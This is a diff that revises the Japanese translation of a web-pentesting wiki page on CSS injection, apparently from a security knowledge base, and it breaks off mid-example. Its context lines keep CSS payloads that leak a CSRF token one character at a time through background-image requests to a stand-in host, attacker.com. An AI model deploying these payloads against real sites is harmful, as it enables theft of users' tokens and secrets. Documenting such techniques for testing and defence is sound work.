diff --git a/src/pentesting-web/xs-search/css-injection/README.md b/src/pentesting-web/xs-search/css-injection/README.md index db1a4a74f..5abd519e0 100644 --- a/src/pentesting-web/xs-search/css-injection/README.md +++ b/src/pentesting-web/xs-search/css-injection/README.md @@ -6,7 +6,7 @@ ### 属性セレクタ -CSSセレクタは、`input`要素の`name`および`value`属性の値に一致するように作成されています。入力要素の値属性が特定の文字で始まる場合、あらかじめ定義された外部リソースが読み込まれます: +CSSセレクタは、`input` 要素の `name` と `value` 属性の値にマッチするよう作成されます。もし `input` 要素の `value` 属性が特定の文字で始まると、あらかじめ定義された外部リソースが読み込まれます: ```css input[name="csrf"][value^="a"] { background-image: url(https://attacker.com/exfil/a); @@ -19,30 +19,30 @@ input[name="csrf"][value^="9"] { background-image: url(https://attacker.com/exfil/9); } ``` -しかし、このアプローチは、隠し入力要素(`type="hidden"`)を扱う際に制限に直面します。なぜなら、隠し要素は背景を読み込まないからです。 +しかし、この手法は隠し input 要素(`type="hidden"`)に対して制約があり、隠し要素は背景を読み込まないため問題になります。 #### 隠し要素のバイパス -この制限を回避するために、`~` 一般的な兄弟コンビネータを使用して、次の兄弟要素をターゲットにすることができます。CSSルールは、隠し入力要素の後に続くすべての兄弟に適用され、背景画像が読み込まれるようになります。 +この制約を回避するには、`~` を使った一般兄弟セレクタで後続の兄弟要素をターゲットにします。するとその CSS ルールは隠し input 要素に続くすべての兄弟要素に適用され、背景画像を読み込ませます: ```css input[name="csrf"][value^="csrF"] ~ * { background-image: url(https://attacker.com/exfil/csrF); } ``` -この技術を利用した実践的な例は、提供されたコードスニペットに詳述されています。こちらで見ることができます [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e)。 +この手法を実際に悪用する実例は、添付のコードスニペットに詳述されています。閲覧は [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) から可能です。 -#### CSSインジェクションの前提条件 +#### CSS Injection の前提条件 -CSSインジェクション技術が効果的であるためには、特定の条件を満たす必要があります: +CSS Injection を有効にするには、いくつかの条件を満たす必要があります: -1. **ペイロードの長さ**: CSSインジェクションベクターは、作成されたセレクタを収容するのに十分な長さのペイロードをサポートする必要があります。 -2. **CSSの再評価**: 新しく生成されたペイロードでCSSの再評価をトリガーするために、ページをフレーム化する能力が必要です。 -3. **外部リソース**: この技術は、外部ホストされた画像を使用する能力を前提としています。これは、サイトのコンテンツセキュリティポリシー(CSP)によって制限される可能性があります。 +1. **Payload Length**: CSS injection vector は、作成したセレクタを格納するのに十分な長さのpayloadをサポートしている必要があります。 +2. **CSS Re-evaluation**: ページをフレーム内に読み込める能力が必要です。これは、新たに生成したpayloadを用いてCSSの再評価をトリガーするために必要です。 +3. **External Resources**: この手法は外部ホストされた画像を使用できることを前提としています。これはサイトの Content Security Policy (CSP) によって制限される可能性があります。 -### ブラインド属性セレクタ +### Blind Attribute Selector -[**この投稿で説明されているように**](https://portswigger.net/research/blind-css-exfiltration)、**`:has`** と **`:not`** セレクタを組み合わせて、ブラインド要素からコンテンツを特定することが可能です。これは、CSSインジェクションを読み込むウェブページの中身がわからない場合に非常に便利です。\ -また、これらのセレクタを使用して、同じタイプの複数のブロックから情報を抽出することも可能です。 +As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), セレクタ **`:has`** と **`:not`** を組み合わせることで、ブラインド要素からでもコンテンツを識別することが可能です。これは、CSS Injection を読み込むウェブページの内部が全く分からない場合に非常に有用です。\ +これらのセレクタを使って、同じタイプの複数のブロックから情報を抽出することも可能です。例えば: ```html